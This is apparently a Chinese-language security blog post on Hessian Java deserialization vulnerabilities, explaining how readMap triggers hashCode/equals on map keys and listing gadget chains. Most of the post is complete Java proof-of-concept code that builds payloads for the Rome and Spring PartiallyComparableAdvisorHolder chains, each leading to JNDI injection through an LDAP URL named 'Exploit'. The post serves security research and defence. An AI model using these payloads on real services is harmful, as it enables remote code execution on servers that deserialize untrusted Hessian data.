前言

无。


Hessian

简介

Hessian 是一个轻量级的 Java 反序列化框架,和 Java 原生的序列化类似,相比起来 Hessian 更加高效并且非常适合二进制数据传输。

可以在 pom.xml 中加入依赖来使用 Hessian:

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>

简单的序列化和反序列化代码,Data 是个简单的继承序列化接口的类:

public class App {
    public static void main( String[] args ) throws Exception {
        Data data = new Data("Twings");
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        HessianOutput ho = new HessianOutput(bos);
        ho.writeObject(data);
        byte[] serializedData = bos.toByteArray();
        ByteArrayInputStream is = new ByteArrayInputStream(serializedData);
        HessianInput hi = new HessianInput(is);
        hi.readObject();
    }
}

Hessian 不会调用序列化类的 readObject 方法,它会调用 readResolve 方法, 而这个方法一般是用在单例模式中的。

Hessian 在恢复对象的属性的时候,不会调用该类的 setter,恢复方式是调用 _unsafe.putObject。

Hessian 会将数据序列化为一个 Map,序列化之后的数据大致如下(URL 编码后):

Mt%00%0Astudy.DataS%00%04dataS%00%06Twingsz

反序列化漏洞

Hessian 反序列化同样存在漏洞,不过入口点与 Java 原生序列化的 readObject 方法不同,它的入口点在对 Map 类型反序列化处理时:

public Object readMap(AbstractHessianInput in) throws IOException {
    Map map;

    if (_type == null)
        map = new HashMap();
    else if (_type.equals(Map.class))
        map = new HashMap();
    else if (_type.equals(SortedMap.class))
        map = new TreeMap();
    else {
        try {
            map = (Map) _ctor.newInstance();
        } catch (Exception e) {
            throw new IOExceptionWrapper(e);
        }
    }

    in.addRef(map);

    while (! in.isEnd()) {
        map.put(in.readObject(), in.readObject());
    }

    in.readEnd();

    return map;
}

这里会调用 HashMap 的 put 方法,换而言之就是会调用 key 的 hashcode 方法,所以只要找到一条以 hashcode 开始的利用链,就可以完成一次 Hessian 反序列化攻击。

marshalsec 工具中已经集成了 Hessian 的 5 个 Gadgets,可以使用这个工具直接进行漏洞利用。

不过这个工具的生成流程着实比较复杂,看起来要麻烦一些。

Gadgets - Rome

依赖

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-nop</artifactId>
    <version>1.7.24</version>
</dependency>

利用链

  1. HashMap,put -> hash
  2. EqualsBean,hashCode -> beanHashCode
  3. ToStringBean,toString -> getter.invoke
  4. JdbcRowSetImpl,getDatabaseMetaData -> connect
  5. JNDI 注入

漏洞利用

可以仿照 apache-commons-collections 的 HashSet 这个 Gadget 的反射生成方式来生成 payload:

private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    return field.get(obj);
}

public static void main( String[] args ) throws Exception {
    JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
    jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
    ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

    HashMap hashMap = new HashMap<>(1);
    hashMap.put("replacement", "Twings");
    Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
    Object hashMapNode = hashMapTable[1];
    setFieldValue(hashMapNode, "key", equalsBean);

    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    HessianOutput ho = new HessianOutput(bos);
    ho.writeObject(hashMap);
    byte[] serializedData = bos.toByteArray();
    ByteArrayInputStream is = new ByteArrayInputStream(serializedData);
    HessianInput hi = new HessianInput(is);
    System.out.println(java.net.URLEncoder.encode(new String(serializedData)));
    hi.readObject();
}

Gadges - SpringPartiallyComparableAdvisorHolder

依赖

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>5.2.5.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjweaver</artifactId>
    <version>1.9.2</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>5.2.5.RELEASE</version>
</dependency>

利用链

  1. HashMap,put -> putVal -> equals
    这里需要 hash 冲突,所以选择两个相同的类
  2. HotSwappableTargetSource,equals -> equals
  3. XString,equals -> toString
  4. PartiallyComparableAdvisorHolder,toString -> getOrder
  5. AspectJPointcutAdvisor,getOrder -> getOrder
  6. AspectJAroundAdvice,getOrder -> getOrder
  7. BeanFactoryAspectInstanceFactory,getOrder -> getType
  8. SimpleJndiBeanFactory,getType -> doGetType -> doGetSingleton -> lookup
  9. JNDI 注入

漏洞利用

这里的生成比较复杂,反射赋值的时候需要从父类中获取 Field,还有则是序列化的时候需要设置允许不继承 Serializable 接口:

package study;

import com.caucho.hessian.io.SerializerFactory;

public class AllowNonSerializableFactory extends SerializerFactory {

}

测试代码:

private static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
    Field field = null;
    try {
        field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
    }catch ( NoSuchFieldException e ) {
        if (!obj.getClass().getSuperclass().equals(Object.class)) {
            field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
            field.setAccessible(true);
        }
    }
    if (field != null) {
        field.set(obj, value);
    }
}

private static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    return field.get(obj);
}

private static Object createWithoutConstructor(Class clazz) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
    Constructor constructor = Object.class.getDeclaredConstructor();
    constructor.setAccessible(true);
    Constructor ctor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz, constructor);
    return ctor.newInstance();
}

public static void main( String[] args ) throws Exception {

    HashMap hashMap = new HashMap<>();
    hashMap.put("replacement1", "Twings");
    hashMap.put("replacement2", "Aluvion");

    SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();

    BeanFactoryAspectInstanceFactory beanFactoryAspectInstanceFactory = (BeanFactoryAspectInstanceFactory)createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
    setFieldValue(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
    setFieldValue(beanFactoryAspectInstanceFactory, "name", "ldap://127.0.0.1:1389/Exploit");

    AbstractAspectJAdvice aspectJAroundAdvice = (AbstractAspectJAdvice)createWithoutConstructor(AspectJAroundAdvice.class);
    setFieldValue(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);

    AspectJPointcutAdvisor aspectJPointcutAdvisor = (AspectJPointcutAdvisor)createWithoutConstructor(AspectJPointcutAdvisor.class);
    setFieldValue(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);

    Object partiallyComparableAdvisorHolder = createWithoutConstructor(Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder"));
    setFieldValue(partiallyComparableAdvisorHolder, "advisor", aspectJPointcutAdvisor);

    HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(partiallyComparableAdvisorHolder);
    HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("rushB"));
    Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table");
    Object hashMapNode0 = hashMapTable[5];
    setFieldValue(hashMapNode0, "key", hotSwappableTargetSource1);
    Object hashMapNode1 = hashMapTable[10];
    setFieldValue(hashMapNode1, "key", hotSwappableTargetSource2);

    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    HessianOutput ho = new HessianOutput(bos);
    AllowNonSerializableFactory serializableFactory = new AllowNonSerializableFactory();
    serializableFactory.setAllowNonSerializable(true);
    ho.setSerializerFactory(serializableFactory);
    ho.writeObject(hashMap);
    byte[] serializedData = bos.toByteArray();
    ByteArrayInputStream is = new ByteArrayInputStream(serializedData);
    HessianInput hi = new HessianInput(is);
    System.out.println(java.net.URLEncoder.encode(new String(serializedData)));
    hi.readObject();
}

Gadgets - SpringAbstractBeanFactoryPointcutAdvisor

与上一条类似,触发 AbstractPointcutAdvisor 的 equals 方法,接上 SimpleJndiBeanFactory 的 getBean 然后进入 lookup,JNDI 注入。

Gadgets - 其他两条

懒得仔细看了,看起来比较简单。


后记

尝试将 apache commons collections 的利用链修改后使用,结果发现 Map 的反序列化有点问题,利用失败,具体原因就是在获取 Deserializer 的时候,会因为无法获取到 LazyMap 的 Deserializer 来到这一步:

else if (Map.class.isAssignableFrom(cl)) {
    deserializer = new MapDeserializer(cl);
}

而在 MapDeserializer 类实例化的时候,会传入要反序列化类的无参构造方法:

public MapDeserializer(Class<?> type)
{
    if (type == null)
        type = HashMap.class;

    _type = type;

    Constructor<?> []ctors = type.getConstructors();
    for (int i = 0; i < ctors.length; i++) {
        if (ctors[i].getParameterTypes().length == 0)
            _ctor = ctors[i];
    }

    if (_ctor == null) {
        try {
            _ctor = HashMap.class.getConstructor(new Class[0]);
        } catch (Exception e) {
            throw new IllegalStateException(e);
        }
    }
}

而 LazyMap 类是没有无参构造方法的,所以最后会将构造方法设置为 HashMap 的构造方法,最后到了 readMap 方法的实例化时,实例化出来的就是个 HashMap 类,而不是我们需要的 LazyMap。


参考文章:

https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html

https://paper.seebug.org/1131


Web Java 反序列化 Hessian

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Dubbo反序列化漏洞
MySQL JDBC 客户端反序列化